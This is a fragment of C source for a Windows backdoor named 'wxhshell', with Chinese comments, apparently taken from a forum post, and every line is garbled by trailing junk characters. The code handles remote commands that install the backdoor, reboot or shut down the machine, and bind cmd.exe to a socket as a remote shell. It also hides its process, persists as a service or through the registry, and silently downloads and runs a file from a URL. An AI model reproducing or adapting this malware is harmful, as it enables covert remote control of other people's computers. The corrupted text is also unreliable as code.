  // 帮助 jvL[ JI,b  
  case '?': { lTgjq:mn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ""G'rN_=Bi  
    break; p8O2Z? \  
  } :P~6~ K um  
  // 安装 ?);v`]  
  case 'i': { 1.GQau~  
    if(Install()) O,f?YJ9S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <iC(`J$D  
    else i-_mTY&M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M5X&}cN6  
    break; %ntRG !  
    } /$?}Y L,  
  // 卸载 Xl#ggub?  
  case 'r': { A?P_DA  
    if(Uninstall()) r),kDia  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IOmfF[  
    else k="i;! G e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]w8(&,PP  
    break; KkbDW3-  
    } b]#AI qt  
  // 显示 wxhshell 所在路径 hL{KRRf>  
  case 'p': { tS=(}2Q  
    char svExeFile[MAX_PATH]; ;*Et[}3  
    strcpy(svExeFile,"\n\r"); "<1{9  
      strcat(svExeFile,ExeFile); /(*q}R3Kfo  
        send(wsh,svExeFile,strlen(svExeFile),0); !l8PDjAE  
    break; ;N0XFjdR  
    } Wd:uV  
  // 重启 dR,fXQm  
  case 'b': { l'_r:b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (hbyEQhF  
    if(Boot(REBOOT)) O_7|C\]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VY4yS*y  
    else { _]H&,</  
    closesocket(wsh); c-5)QF) z  
    ExitThread(0); JK5gQ3C[  
    } nDxz~8  
    break; bWU' cw  
    } VpDbHAg  
  // 关机 h*](a_0  
  case 'd': { iqWQ!r^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); on `3&0,.  
    if(Boot(SHUTDOWN)) 6LIJ Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HIZe0%WPw  
    else { Kn1a>fLaJ_  
    closesocket(wsh); E ~<JC"]  
    ExitThread(0); rjYJs*#  
    } G_,jgg7  
    break; >|UOz&  
    } %IWPM"  
  // 获取shell %>{0yEC  
  case 's': { Tyx_/pJT  
    CmdShell(wsh); 3f{3NzN  
    closesocket(wsh); s.C_Zf~3  
    ExitThread(0); aqk!T%fg  
    break; UZ+<\+q3^  
  } M .mfw#*  
  // 退出 t'ql[  
  case 'x': { eeB{c.#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N`e[:[  
    CloseIt(wsh); XXa|BZ1RX  
    break; cVF "!.  
    } 3 Za}b|  
  // 离开 AoxA+.O  
  case 'q': { U>N1Od4vTO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m9rp8r*e  
    closesocket(wsh); T_4/C2  
    WSACleanup(); t%=tik2|7  
    exit(1); /gP+N2o+}  
    break; S<Xf>-8w  
        } }5"u[Z.  
  } Lp9E:D->  
  } UJ   
&F~T-i>X  
  // 提示信息 vEJbA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <)D$51 &0  
} 3.y vvPFEM  
  } }qD\0+`qi  
5=ryDrx  
  return; Q^")jPd  
} Y}wyw8g/  
oUlVI*~ND  
// shell模块句柄 5r ^(P  
int CmdShell(SOCKET sock) Cw&KVw*  
{ G"A#Q"  
STARTUPINFO si; WH^%:4  
ZeroMemory(&si,sizeof(si)); IH+|}z4N?>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UkFC~17P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x[e<} 8'$(  
PROCESS_INFORMATION ProcessInfo; 6D3B^.r j]  
char cmdline[]="cmd"; 4j^ @wV'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vnuN6M{  
  return 0; 3=oDQ&UFt  
} c-sfg>0^  
TB31- ()  
// 自身启动模式 SOIN']L|V[  
int StartFromService(void) `Urhy#LC  
{ \s\?l(ooq"  
typedef struct ?}Y]|c^W  
{ G' 1'/  
  DWORD ExitStatus; cH2K )~  
  DWORD PebBaseAddress; xyXa .  
  DWORD AffinityMask; R=\IEqqsi  
  DWORD BasePriority; ]6j{@z?{  
  ULONG UniqueProcessId; f _:A0  
  ULONG InheritedFromUniqueProcessId; E2-\]?\F(  
}   PROCESS_BASIC_INFORMATION; #KvlYZ+1  
M<&= S  
PROCNTQSIP NtQueryInformationProcess; ;$Jo+#  
{P-):  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1|=A*T-<M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |Y.?_lC  
{M)Nnst"~  
  HANDLE             hProcess; &H+xzN  
  PROCESS_BASIC_INFORMATION pbi; 'Pbr v  
#5uOx(>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uXiN~j &Be  
  if(NULL == hInst ) return 0; ?e?!3Bx;EM  
t_1L L >R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /x *3}oI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \w8\1~#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7d\QB (~  
* v#o  
  if (!NtQueryInformationProcess) return 0; rvM{M/4  
nJ;.Td  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .6J$,.Ig  
  if(!hProcess) return 0; _Z\G5x  
# f\rt   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FP>2C9:d  
%z$#6?OK^  
  CloseHandle(hProcess); 5bb(/YtFy  
5mR 1@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J .<F"r>  
if(hProcess==NULL) return 0; 1\.pMHv/  
?V=CB,^  
HMODULE hMod; Iu6   
char procName[255]; W%w~ah|/]  
unsigned long cbNeeded; 0*v2y*2V  
W*Y/l~x}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $:^td/p J  
Ho]su?  
  CloseHandle(hProcess); ;AG()NjOO:  
19] E 5'AI  
if(strstr(procName,"services")) return 1; // 以服务启动 W@esITr  
+w~oH=  
  return 0; // 注册表启动 Uw:"n]G]D?  
} M3au{6y  
d_P` qA  
// 主模块 T> p&$]OG  
int StartWxhshell(LPSTR lpCmdLine) Pzem{y7Ir  
{ 1 -b_~DF  
  SOCKET wsl; $pz/?>!  
BOOL val=TRUE; +cRn%ioVi  
  int port=0; [N'h%1]\  
  struct sockaddr_in door; t#yuOUg  
3(UVg!t  
  if(wscfg.ws_autoins) Install(); V VCZ9MVJ  
uw8f ~:LT  
port=atoi(lpCmdLine); y)<q /  
2A!FDr~cdT  
if(port<=0) port=wscfg.ws_port; ]_$[8#kg  
5IG-~jzCLb  
  WSADATA data; (V@HR9?W)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4&iCht =  
vKR[&K{Z|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "wc<B4"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tl>7^hH  
  door.sin_family = AF_INET; 7-A2_!_x{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E(|>Ddv B&  
  door.sin_port = htons(port); i-&yH  
%jM,W}2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @%SQFu@FJ  
closesocket(wsl); ~QVH<`sn  
return 1; 6H|S;K+  
} {xB3S_,8  
3 gf1ownC  
  if(listen(wsl,2) == INVALID_SOCKET) { g\AY|;T  
closesocket(wsl); :v 4]D4\o  
return 1; paMa+jhQQ  
} FgO)DQm  
  Wxhshell(wsl); _vZOZKS+  
  WSACleanup(); IGN1gs  
[00m/fT6  
return 0; ,+ ~W4<f  
I}Q2Vu<  
} J=yTbSN\v  
3uMy]HUQ  
// 以NT服务方式启动 DTs;{c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }~q5w{_n  
{ ']oQ]Yx0  
DWORD   status = 0; w*Ihk)  
  DWORD   specificError = 0xfffffff; {>;R?TG]$  
L0]_X#s>#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &.ACd+Cd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <-0]i_4sK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 92-I~ !d  
  serviceStatus.dwWin32ExitCode     = 0; WPDyu.QD  
  serviceStatus.dwServiceSpecificExitCode = 0; O H7FkR  
  serviceStatus.dwCheckPoint       = 0; .p$(ZH =~  
  serviceStatus.dwWaitHint       = 0; K+iP 6B  
E)3NxmM#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8>%hz$no=  
  if (hServiceStatusHandle==0) return; (iGTACoF  
~{gqsuCCL  
status = GetLastError(); zMJT:7*`|  
  if (status!=NO_ERROR) We z 5N  
{ Q=:|R3U/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BORA(,  
    serviceStatus.dwCheckPoint       = 0; U ;I9 bK8  
    serviceStatus.dwWaitHint       = 0; .8|X   
    serviceStatus.dwWin32ExitCode     = status; t:c.LFrF  
    serviceStatus.dwServiceSpecificExitCode = specificError; /L#?zSt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mcok/,/  
    return; L8n|m!MOD  
  } lRdChoL$2  
6zn5UW#q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D#z:()VT(  
  serviceStatus.dwCheckPoint       = 0; GJUL$9  
  serviceStatus.dwWaitHint       = 0; FgI3   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jq-_4}w?C  
} 3mni>*q7d  
(I}v[W  
// 处理NT服务事件,比如:启动、停止 s(8W_4&'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Qei" '~1a  
{ (9h`3#  
switch(fdwControl) R GX=)  
{ "*H`HRi4T  
case SERVICE_CONTROL_STOP: h7I{ 4  
  serviceStatus.dwWin32ExitCode = 0; E!AE4B1bd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c:g'.'/*  
  serviceStatus.dwCheckPoint   = 0; 8i,K~Bu=  
  serviceStatus.dwWaitHint     = 0; kNL\m[W8$  
  { '3H_wd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [8*)8jP3  
  } Xx(T">]vJ  
  return; 3BLqCZ  
case SERVICE_CONTROL_PAUSE: M@ZI\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [S W_C  
  break; ]s748+  
case SERVICE_CONTROL_CONTINUE: lHIM}~#;nd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9k=3u;$v  
  break; bu"!jHPB  
case SERVICE_CONTROL_INTERROGATE: a'z7(8$$  
  break; ~v"L!=~G;a  
}; 1i ] ^{;]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FCn_^l)EA  
} Tb-F]lg$  
-`t^7pr  
// 标准应用程序主函数 snikn&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i 3SHg\~Z  
{ 2:=  
m#F`] {  
// 获取操作系统版本 &t-kpA|EG  
OsIsNt=GetOsVer(); ---N9I  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  f V(J|  
x3krbUlx  
  // 从命令行安装 cs'{5!i]  
  if(strpbrk(lpCmdLine,"iI")) Install(); wa3}SB  
zv"Z DRW  
  // 下载执行文件 x$%!U[!3  
if(wscfg.ws_downexe) { I`p;F!s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) as_PoCoss  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5 u0HI  
} !Rt>xD  
;({W#Wa  
if(!OsIsNt) { NgCvVWto  
// 如果时win9x,隐藏进程并且设置为注册表启动 @ry_nKr9  
HideProc(); /H==Hm/  
StartWxhshell(lpCmdLine); *WT`o>  
} .6'qoo_N  
else = 9]~ yt  
  if(StartFromService()) 6K<K  
  // 以服务方式启动 w1DV\Ap*  
  StartServiceCtrlDispatcher(DispatchTable); m9Hit8f@Q  
else &`XVq" 7  
  // 普通方式启动 puM3g|n@  
  StartWxhshell(lpCmdLine); DDH:)=;z  
XvlU*TO~(~  
return 0; @{O`E^}-D  
}
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只看该作者 1 发表于: 2006-10-10
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